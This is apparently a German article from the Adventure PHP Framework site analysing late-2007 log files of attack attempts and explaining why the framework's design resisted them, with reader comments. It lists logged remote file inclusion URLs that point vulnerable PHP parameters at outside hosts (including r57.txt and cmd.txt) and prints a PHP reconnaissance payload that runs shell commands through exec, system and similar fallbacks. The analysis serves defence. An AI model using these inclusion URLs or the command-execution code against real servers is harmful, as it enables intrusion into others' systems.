Hacking & das APF
Blickt man auf die letzten 3 Monate des Jahres 2007 zurück, so wurde vermehrt der Versuche
unternommen mit geziehlten Requests Schwachstellen der eingesetzten Software auszunutzen um so an
wichtige Informationen über die Software, den Server oder Benutzerdaten zu gelangen. Eine
Auswertung der Logfiles des genannten Zeitraums zeigt, dass im vergangenen Quartal über
2500 XSS-Angriffe zu verzeichnen waren. Davon führten
353 Anfragen
zu Applikationsfehlern. Eine vollständige Auswertung der Logfiles findet sich unter
http_hacks_2008_01_07.txt.
Betrachtet man die aufgeführten Applikationsfehler genauer, stellt man fest, dass diese keine
Fehler im Sinne eines Bufferoverflows oder einer Schwachstelle sind, sondern Fehlermeldungen, die
von den Framework-Komponenten im Fehlerfall geziehlt ausgelöst werden. Von den genannten
353 Fehlern führten daher genau
0 Anfragen zu einem
erfolgreichen Kompromittieren der Seite und den darauf befindlichen Applikationen.
Gründe dafür liegen in der Architektur des Frameworks und der betriebenen Software:
-
Konfiguration:
Konfigurationsaufgaben werden konsequent über den ConfigurationManager
gezogen. Dieser verwendet keine Parameter aus dem REQUEST und wird nur über die Applikation
selbst verwendet.
-
URL-Layout:
Das URL-Layout muss einem definierten Schema entsprechen. Mögliche XSS-Lücken fallen
daher bei Verwendung der Komponenten LinkHandler und
FrontcontrollerLinkHandler dadurch auf, dass eine URL wie sie unter Kapitel 3
beschrieben ist nicht geparst werden kann.
-
Templates:
Der PageController verarbeitet Templates nicht wie viele andere Frameworks als PHP-Skripten.
PHP-Code, der evtl. durch XSS-Lücken eingeschleust werden kann - sollte die auf dem
Framework aufsetzende Software derartige Lücken aufweisen - wird daher nicht
ausgeführt, sondern lediglich zur Anzeige gebracht.
-
Bootstrap-Architektur:
Durch die Bootstrap-Architektur (=alle Requests werden über eine zentrale Datei abgewickelt)
können Anfragen wie /content.php?seite=http://casts.150m.com/expo/expo1? keinen
Schaden anrichten.
-
Steuerparameter:
Steuerparameter in URLs, die direkt auf das Inkludieren von Templates Einfluss haben greifen
nicht direkt und unkontrolliert auf das Dateisystem durch, sondern gelten nur in einem definierten
Namespace. Wird ein Template nicht gefunden, so wird ein Applikationsfehler angezeigt, was das
Auslesen von System-Dateien nicht möglich macht. Steuerparameter in FrontController-Actions
werden zusätzlich über eine Konfiguration abstrahiert und greifen nicht direkt auf
Filesystemressourcen zu.
Hinter den Angriffen steckt zumeist der Versuch, PHP-Code in eine verwundbare Seiten einzuschläusen
und auszuführen um Informationen über den Server, die eingesetzter Software und evtl.
Benutzerdaten zu erlangen. In manchen dieser Skripte wird zudem versucht ein Programm auf dem
Ziel-Server zu installieren.
Die folgende Code-Box zeigt eine Auswahl der beschriebenen Angriffe und erlätert anschließend
die Funktion an Hand eines Beispiels.
APF-Template
/myevent.php?myevent_path=http://countryangelz.com/counter/var/safeon.txt??
/admin/addentry.php?phpbb_root_path=http://intranet.stantonmortgage.com/modules/admin/bersama/doc.txt?
/administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path=http://www.nortek.helloweb.eu/contr.txt?
/forum.php?cfg_file=1&fpath=http://www.donagro.ru/files/images/search4.gif???
/include.php?p4a_root_dir=http://www.lacs.de/NgL??
/administrator/components/com_bayesiannaivefilter/lang.php?mosConfig_absolute_path=http://www.apnic.net/index.html?
/content.php?seite=http://casts.150m.com/expo/expo1?
/includes/function.php?root_path=http://www.cervo.com/public/r57.txt???
/index.php?pager=http://201.37.71.117:8090/cmd.txt??
Der nachfolgend aufgeführte PHP-Code zeigt ein Script, das Informationen über einen Server
ausliest und ausgibt. Aus Sicherheitsgründen und zum Schutz vor Trittbrettfahrer wurde ein
ungefährliches Beispiel gewählt.
PHP-Code
$dir = @getcwd();
echo "S4M3K
";
$OS = @PHP_uname();
echo "OSTYPE:$OS
";
$free = disk_free_space($dir);
if ($free === FALSE) {$free = 0;}
if ($free < 0) {$free = 0;}
echo "Free:".view_size($free)."
";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
function view_size($size)
{
if (!is_numeric($size)) {return FALSE;}
else
{
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
else {$size = $size . " B";}
return $size;
}}
exit;
Analysiert man den Orginalquelltext, so sind darin zunächst zwei Funktionsdefinitionen enthalten:
ex() und
view_size(). Diese werden benötigt um Shellbefehle
auszuführen bzw. freie Festplattenressourcen anzuzeigen. Die Funktion des Quellcodes besteht
im Grunde darin, einen Kenner in den Quelltext zu implantieren, der später abgefragt werden kann
(
S4M3K), den noch freien Plattenplatz anzuzeigen (
disk_free_space())
und herauszufinden, unter welchem Benutzer der Webserver betrieben wird. Da hier auf das UNIX/LINUX-
Systemprogramm
id zurückgegriffen wird funktioniert dies nur unter UNIX/LINUX-
Betriebssystemen, in denen die Funktionen
exec(),
shell_exec() und
system() nicht deaktiviert sind.
Aus den gewonnenen Informationen kann der Angreifer dann schließen, wo Programme installiert
werden können, oder ob das installierte System bekannte Schwachstellen besitzt, die mit
bekannten Exploits ausgenutzt werden können.
Einige der aufgerufenen URLs deuten auf den Versuch hin, bekannte Schwachstellen in verbreiteten
PHP-Applikationen auszunutzen um Schaden anzurichten. Sucht man nach Schlüsselwörtern, die
in den oben aufgeführten Request-URLS auftauchen, so findet man Software-Komponenten wie
myEvent,
PHP-Nuke,
Joomla und
PHPBB:
Kommentare
Möchten Sie den Artikel eine Anmerkung hinzufügen, oder haben Sie ergänzende Hinweise? Dann können Sie diese
hier einfügen. Die bereits verfassten Anmerkungen und Kommentare finden Sie in der untenstehenden Liste.
1
Christian
15.01.2008, 21:11:23
Weitere Betrachtungen sind um Forum unter http://forum.adventure-php-framework.org/de/viewtopic.php?f=5&t=21 verfügbar.
2
KingCrunch
02.02.2009, 04:48:54
Die ganze Argumentation bedingt sich allerdings selbst, ähnlich wie die Fragestellung, warum es für Linux nur eine handvoll Viren gibt: Natürlich versuchen Angriffe von Botnetzwerken eine möglichst breite Schicht zu treffen. Das bedeutet, dass diese eben auf Systeme ausgelegt sind, die weit verbreitet sind. Daraus gleich abzuleiten, dass das eigene (eher unbekannte) System besonders sicher sei, wirkt etwas wie Selbstbetrug.
3
Christian
02.02.2009, 16:28:48
Es geht nicht darum aus einem Feature gleich Sicherheit abzuleiten, es geht vielmehr darum aufzuzeigen, dass Features mehr Sicherheit bedeuten können. Gerade PHP-freie Templates und ein valides URL-Layout ermöglichen bereits potentielle Sicherheitslücken, da a) eine definierte und nicht beeinflussbare Ausgabe stattfindet (XSS) und b) URL-Intrusion per se nicht möglich ist, da dann das URL-Layout nicht valide ist.
Ich kann jedoch nur deine Aussage unterstreichen, dass in der Basis sichere Software durch Fremdeinwirken zur Unsicherheit überführt werden kann. Bei LINUX wäre das der root-Account ohne Passwort.